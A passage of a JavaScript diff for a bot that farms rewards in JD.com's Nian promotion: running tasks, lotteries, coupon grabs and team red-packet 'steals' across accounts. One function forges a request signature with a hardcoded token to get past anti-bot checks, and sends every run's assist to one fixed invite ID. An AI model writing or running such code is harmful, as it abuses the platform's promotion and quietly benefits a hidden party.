await getSpecialGiftDetail() + await $.wait(2000) + await getHomeData(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +function encode(data, aa, extraData) { + const temp = { + "extraData": JSON.stringify(extraData), + "businessData": JSON.stringify(data), + "secretp": aa, + } + return {"ss": (JSON.stringify(temp))}; +} + +function getRnd() { + return Math.floor(1e6 * Math.random()).toString(); +} + +function showMsg() { + return new Promise(resolve => { + console.log('任务已做完!\n如有未完成的任务,请多执行几次。注:目前入会任务不会做') + console.log('如出现taskVos错误的,请更新USER_AGENTS.js或使用自定义UA功能') + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await getFriendData(code) + await $.wait(1000) + } +} + +async function helpSuper(){ + $.secretp = null + await getHomeData(true) + if (!$.secretp) return + for(let item of superAssist){ + await collectSpecialScore(item.taskId, item.itemId, null, item.inviteId) + } +} + +async function helpFriendsPK() { + for (let code of $.newShareCodesPk) { + if (!code) continue + console.log(`去助力PK好友${code}`) + await pkAssignGroup(code) + await $.wait(1000) + } +} + +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 14) { + //好友助力任务 + //console.log(`您的好友助力码为${item.assistTaskDetailVo.taskToken}`) + } + if (item.taskType === 2) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + await getFeedDetail({"taskId": item.taskId}, item.taskId) + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else if (item.taskType === 3 || item.taskType === 26) { + if (item.shoppingActivityVos) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } else if (item.taskType === 9) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId, 1); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else if (item.taskType === 7) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.browseShopVo) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId, 1); + } + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else if (item.taskType === 13) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + await collectScore(item.taskId, "1"); + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else if (item.taskType === 21) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.brandMemberVos) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } +} + +function getFeedDetail(body = {}) { + return new Promise(resolve => { + $.post(taskPostUrl("nian_getFeedDetail", body, "nian_getFeedDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (data.data.result.addProductVos) { + for (let vo of data.data.result.addProductVos) { + if (vo['status'] === 1) { + for (let i = 0; i < vo.productInfoVos.length && i + vo['times'] < vo['maxTimes']; ++i) { + let bo = vo.productInfoVos[i] + await collectScore(vo['taskId'], bo['itemId']) + await $.wait(2000) + } + } + } + } + if (data.data.result.taskVos) { + for (let vo of data.data.result.taskVos) { + if (vo['status'] === 1) { + for (let i = 0; i < vo.productInfoVos.length && i + vo['times'] < vo['maxTimes']; ++i) { + let bo = vo.productInfoVos[i] + await collectScore(vo['taskId'], bo['itemId']) + await $.wait(2000) + } + } + } + } + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getHomeData(info = false) { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getHomeData', {}, 'nian_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + $.userInfo = data.data.result.homeMainInfo + $.secretp = $.userInfo.secretp; + if (!$.secretp) { + console.log(`账号被风控`) + message += `账号被风控,无法参与活动\n` + $.secretp = null + return + } + if ($.userInfo.raiseInfo.fullFlag) { + console.log(`当前等级已满,不再做日常任务!\n`) + $.full = true + return + } + console.log(`\n\n当前等级:${$.userInfo.raiseInfo.scoreLevel}\n当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}🧨\n\n`) + + if (info) { + message += `当前爆竹${$.userInfo.raiseInfo.remainScore}🧨\n` + return + } + if ($.userInfo.raiseInfo.produceScore > 0) { + console.log(`可收取的爆竹大于0,去收取爆竹`) + await collectProduceScore() + } + if (parseInt($.userInfo.raiseInfo.remainScore) >= parseInt($.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore)) { + console.log(`当前爆竹🧨大于升级所需爆竹🧨,去升级`) + await $.wait(2000) + await raise() + } + } else { + $.secretp = null + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function collectProduceScore(taskId = "collectProducedCoin") { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + const body = encode(temp, $.secretp, extraData); + return new Promise(resolve => { + $.post(taskPostUrl("nian_collectProduceScore", body, "nian_collectProduceScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`收取成功,获得${data.data.result.produceScore}爆竹🧨`) + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function collectScore(taskId, itemId, actionType = null, inviteId = null, shopSign = null) { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + if (itemId) temp['itemId'] = itemId + if (actionType) temp['actionType'] = actionType + if (inviteId) temp['inviteId'] = inviteId + if (shopSign) temp['shopSign'] = shopSign + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + taskId: taskId, + itemId: itemId + } + if (actionType) body['actionType'] = actionType + if (inviteId) body['inviteId'] = inviteId + if (shopSign) body['shopSign'] = shopSign + return new Promise(resolve => { + $.post(taskPostUrl("nian_collectScore", body, "nian_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result.score) + console.log(`任务完成,获得${data.data.result.score}爆竹🧨`) + else if (data.data.result.maxAssistTimes) { + console.log(`助力好友成功`) + } else { + console.log(`任务上报成功`) + await $.wait(10 * 1000) + if (data.data.result.taskToken) { + await doTask2(data.data.result.taskToken) + } + } + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkCollectScore(taskId, itemId, actionType = null, inviteId = null, shopSign = null) { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + if (itemId) temp['itemId'] = itemId + if (actionType) temp['actionType'] = actionType + if (inviteId) temp['inviteId'] = inviteId + if (shopSign) temp['shopSign'] = shopSign + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + taskId: taskId, + itemId: itemId + } + if (actionType) body['actionType'] = actionType + if (inviteId) body['inviteId'] = inviteId + if (shopSign) body['shopSign'] = shopSign + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_collectScore", body, "nian_pk_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result.score) + console.log(`任务完成,获得${data.data.result.score}积分`) + else if (data.data.result.maxAssistTimes) { + console.log(`助力好友成功`) + } else { + console.log(`任务上报成功`) + await $.wait(10 * 1000) + if (data.data.result.taskToken) { + await doTask2(data.data.result.taskToken) + } + } + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask2(taskToken) { + let body = { + "dataSource": "newshortAward", + "method": "getTaskAward", + "reqParams": `{\"taskToken\":\"${taskToken}\"}` + } + return new Promise(resolve => { + $.post(taskPostUrl("qryViewkitCallbackResult", body,), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (data.code === "0") { + console.log(data.toast.subTitle + '🧨') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function raise(taskId = "nian_raise") { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + const body = encode(temp, $.secretp, extraData); + return new Promise(resolve => { + $.post(taskPostUrl("nian_raise", body, "nian_raise"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`升级成功`) + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getTaskList(body = {}) { + return new Promise(resolve => { + $.post(taskPostUrl("nian_getTaskDetail", body, "nian_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (JSON.stringify(body) === "{}") { + $.taskVos = data.data.result.taskVos;//任务列表 + console.log(`\n\n您的好友助力码为${data.data.result.inviteId}\n\n`) + } + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getFriendData(inviteId) { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getHomeData', {"inviteId": inviteId}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data && data.data['bizCode'] === 0) { + $.itemId = data.data.result.homeMainInfo.guestInfo.itemId + await collectScore('2', $.itemId, null, inviteId) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function map() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_myMap", {}, "nian_myMap"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + let msg = '当前已开启的地图:' + for (let vo of data.data.result.monsterInfoList) { + if (vo.curLevel) msg += vo.name + ' ' + } + console.log(msg) + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function queryMaterials() { + let body = { + "qryParam": "[{\"type\":\"advertGroup\",\"mapTo\":\"viewLogo\",\"id\":\"05149412\"},{\"type\":\"advertGroup\",\"mapTo\":\"bottomLogo\",\"id\":\"05149413\"}]", + "activityId": "2cKMj86srRdhgWcKonfExzK4ZMBy", + "pageId": "", + "reqSrc": "", + "applyKey": "21beast" + } + return new Promise(resolve => { + $.post(taskPostUrl("qryCompositeMaterials", body, "qryCompositeMaterials"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0') { + let shopList = data.data.viewLogo.list.concat(data.data.bottomLogo.list) + let nameList = [] + for (let vo of shopList) { + if (nameList.includes(vo.name)) continue + nameList.push(vo.name) + console.log(`去做${vo.name}店铺任务`) + await shopLotteryInfo(vo.desc) + await $.wait(2000) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function shopLotteryInfo(shopSign) { + let body = {"shopSign": shopSign} + return new Promise(resolve => { + $.post(taskPostUrl("nian_shopLotteryInfo", body, "nian_shopLotteryInfo"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + for (let vo of data.data.result.taskVos) { + if (vo.status === 1) { + if (vo.taskType === 12) { + console.log(`去做${vo.taskName}任务`) + await $.wait(2000) + await collectScore(vo.taskId, vo.simpleRecordInfoVo.itemId, null, null, shopSign) + } else if (vo.taskType === 3 || vo.taskType === 26) { + if (vo.shoppingActivityVos) { + if (vo.status === 1) { + console.log(`准备做此任务:${vo.taskName}`) + for (let task of vo.shoppingActivityVos) { + if (task.status === 1) { + await $.wait(2000) + await collectScore(vo.taskId, task.advId, null, null, shopSign); + } + } + } else if (vo.status === 2) { + console.log(`${vo.taskName}已做完`) + } + } + }else if (vo.taskType === 21) { + if (vo.brandMemberVos) { + if (vo.status === 1) { + console.log(`准备做此任务:${vo.taskName}`) + for (let task of vo.brandMemberVos) { + if (task.status === 1) { + await $.wait(2000) + await collectScore(vo.taskId, task.advertId, null, null, shopSign); + } + } + } else if (vo.status === 2) { + console.log(`${vo.taskName}已做完`) + } + } + } + } + } + for (let i = 0; i < data.data.result.lotteryNum; ++i) { + console.log(`去抽奖:${i + 1}/${data.data.result.lotteryNum}`) + await $.wait(2000) + await doShopLottery(shopSign) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doShopLottery(shopSign) { + let body = {"shopSign": shopSign} + return new Promise(resolve => { + $.post(taskPostUrl("nian_doShopLottery", body, "nian_doShopLottery"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.result) { + let result = data.data.result + if (result.awardType === 4) + console.log(`抽奖成功,获得${result.score}爆竹🧨`) + else if (result.awardType === 2 || result.awardType === 3) + console.log(`抽奖成功,获得优惠卷`) + else if (result.awardType === 5) + console.log(`抽奖成功,品牌卡`) + else + console.log(`抽奖成功,获得${JSON.stringify(result)}`) + } else { + console.log(`抽奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkInfo() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getHomeData", {}, "nian_pk_getHomeData"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.group = true + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.bizCode === 0) { + console.log(`\n\n您的好友PK助力码为${data.data.result.groupInfo.groupAssistInviteId}\n注:此pk邀请码每天都变!\n\n`) + let info = data.data.result.groupPkInfo + console.log(`预计分得:${data.data.result.groupInfo.personalAward}红包`) + if (info.dayAward) + console.log(`白天关卡:${info.dayAward}元红包,完成进度 ${info.dayTotalValue}/${info.dayTargetSell}`) + else { + function secondToDate(result) { + var h = Math.floor(result / 3600); + var m = Math.floor((result / 60 % 60)); + var s = Math.floor((result % 60)); + return h + "小时" + m + "分钟" + s + "秒"; + } + + console.log(`守护关卡:${info.guardAward}元红包,剩余守护时间:${secondToDate(info.guardTime / 5)}`) + } + } else { + $.group = false + console.log(`获取组队信息失败,请检查`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkTaskStealDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getStealForms", {}, "nian_pk_getStealForms"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.bizCode === 0) { + $.hasGroup = true + await $.wait(2000) + for (let i = 1; i < data.data.result.stealGroups.length; ++i) { + let item = data.data.result.stealGroups[i] + if (item.stolen === 0) { + console.log(`去偷${item.name}的红包`) + await pkStealGroup(item.id) + await $.wait(2000) + } + } + } else { + console.log(`组队尚未开启,请先去开启组队或是加入队伍!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getTaskDetail", {}, "nian_pk_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.bizCode === 0) { + await $.wait(2000) + $.hasGroup = true + for (let item of data.data.result.taskVos) { + if (item.taskType === 3 || item.taskType === 26) { + if (item.shoppingActivityVos) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await pkCollectScore(item.taskId, task.itemId); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } + } + } else { + console.log(`组队尚未开启,请先去开启组队或是加入队伍!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkAssignGroup(inviteId) { + let temp = { + "confirmFlag": 1, + "inviteId": inviteId, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + inviteId: inviteId + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_assistGroup", body, "nian_pk_assistGroup"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg) + } else { + console.log(`助力失败,未知错误:${JSON.stringify(data)}`) + $.canhelp = false + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkStealGroup(stealId) { + let temp = { + "stealId": stealId, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + stealId: stealId + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_doSteal", body, "nian_pk_doSteal"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg) + } else { + console.log(`偷取失败,未知错误:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function killCouponList() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_killCouponList", {}, "nian_killCouponList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.bizCode === 0) { + await $.wait(2000) + for (let vo of data.data.result) { + if (!vo.status) { + console.log(`去领取${vo['productName']}优惠券`) + await killCoupon(vo['skuId']) + await $.wait(2000) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function killCoupon(skuId) { + let temp = { + "skuId": skuId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = encode(temp, $.secretp, extraData); + body['skuId'] = skuId + return new Promise(resolve => { + $.post(taskPostUrl("nian_killCoupon", body, "nian_killCoupon"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.bizCode === 0) { + console.log(`领取成功,获得${data.data.result.score}爆竹🧨`) + } else { + console.log(data.data.bizMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getSpecialGiftDetail() { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getSpecialGiftDetail'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + let flag = true + for(let item of data.data.result.taskVos){ + if (item.taskType === 3 || item.taskType === 26) { + if (item.shoppingActivityVos) { + if (item.status === 1) { + flag = false + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await collectSpecialScore(item.taskId, task.itemId); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } + else if (item.taskType === 0) { + if (item.status === 1) { + flag = false + console.log(`准备做此任务:${item.taskName}`) + await collectSpecialScore(item.taskId, item.simpleRecordInfoVo.itemId); + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else{ + if (item.status === 1) { + flag = false + superAssist.push({ + "inviteId": data.data.result.inviteId, + "itemId": item.assistTaskDetailVo.itemId, + "taskId": item.taskId + }) + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } + if(flag){ + await getSpecialGiftInfo() + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getSpecialGiftInfo() { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getSpecialGiftInfo',"nian_getSpecialGiftInfo"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + await collectSpecialFinalScore() + // console.log(`领奖成功,获得${data.data.result.score}爆竹🧨`) + }else{ + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function collectSpecialScore(taskId, itemId, actionType = null, inviteId = null, shopSign = null) { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + if (itemId) temp['itemId'] = itemId + if (actionType) temp['actionType'] = actionType + if (inviteId) temp['inviteId'] = inviteId + if (shopSign) temp['shopSign'] = shopSign + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + taskId: taskId, + itemId: itemId + } + if (actionType) body['actionType'] = actionType + if (inviteId) body['inviteId'] = inviteId + if (shopSign) body['shopSign'] = shopSign + return new Promise(resolve => { + $.post(taskPostUrl("nian_collectSpecialGift", body, "nian_collectSpecialGift"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result.score) + console.log(`任务完成,获得${data.data.result.score}爆竹🧨`) + else if (data.data.result.maxAssistTimes) { + console.log(`助力好友成功`) + } else { + console.log(`任务上报成功`) + } + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function collectSpecialFinalScore() { + let temp = { + "ic": 1, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + "ic" : 1, + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_collectSpecialGift", body, "nian_collectSpecialGift"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result && data.data.result.collectInfo && data.data.result.collectInfo.score) + console.log(`任务完成,获得${data.data.result.collectInfo.score}爆竹🧨`) + else + console.log(JSON.stringify(data)) + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function nian_doAdditionalTask() { + let rnd = getRnd(); + let nonstr = randomWord(false,10) + let time = Date.now() + let key = minusByByte(nonstr.slice(0,5),String(time).slice(-5)) + let msg = `random=${rnd}&token=3d1da4a6ef43b859927ccce65c5dc4ca&time=${time}&nonce_str=${nonstr}&key=${key}&is_trust=true` + let sign = bytesToHex(wordsToBytes(getSign(msg))).toUpperCase() + const body = `{"ss":"{\\"extraData\\":{\\"is_trust\\":true,\\"sign\\":\\"${sign}\\",\\"fpb\\":\\"\\",\\"time\\":${time},\\"encrypt\\":\\"1\\",\\"nonstr\\":\\"${nonstr}\\",\\"jj\\":\\"\\",\\"token\\":\\"3d1da4a6ef43b859927ccce65c5dc4ca\\",\\"cf_v\\":\\"1.0.2\\",\\"client_version\\":\\"2.2.1\\",\\"call_stack\\":\\"\\",\\"session_c\\":\\"\\",\\"buttonid\\":\\"homePopupHelpButtonId\\",\\"sceneid\\":\\"mainTaskh5\\"},\\"secretp\\":\\"${$.secretp}\\",\\"random\\":\\"${rnd}\\"}","inviteId":"cAxZdTXtIumO4w2cDgSqvQlsxPG5DFN5kS8cW5GjwAHNrEWgnhuGYvcChsg"}` + return new Promise(resolve => { + $.post(taskPostUrl("nian_doAdditionalTask", JSON.parse(body), "nian_doAdditionalTask"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result && data.data.result.collectInfo && data.data.result.collectInfo.score) + console.log(`任务完成,获得${data.data.result.collectInfo.score}爆竹🧨`) + else + console.log(JSON.stringify(data)) + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://code.chiang.fun/api/v1/jd/jdnian/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +function readShareCodePk() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/nian/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个PK助力码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + 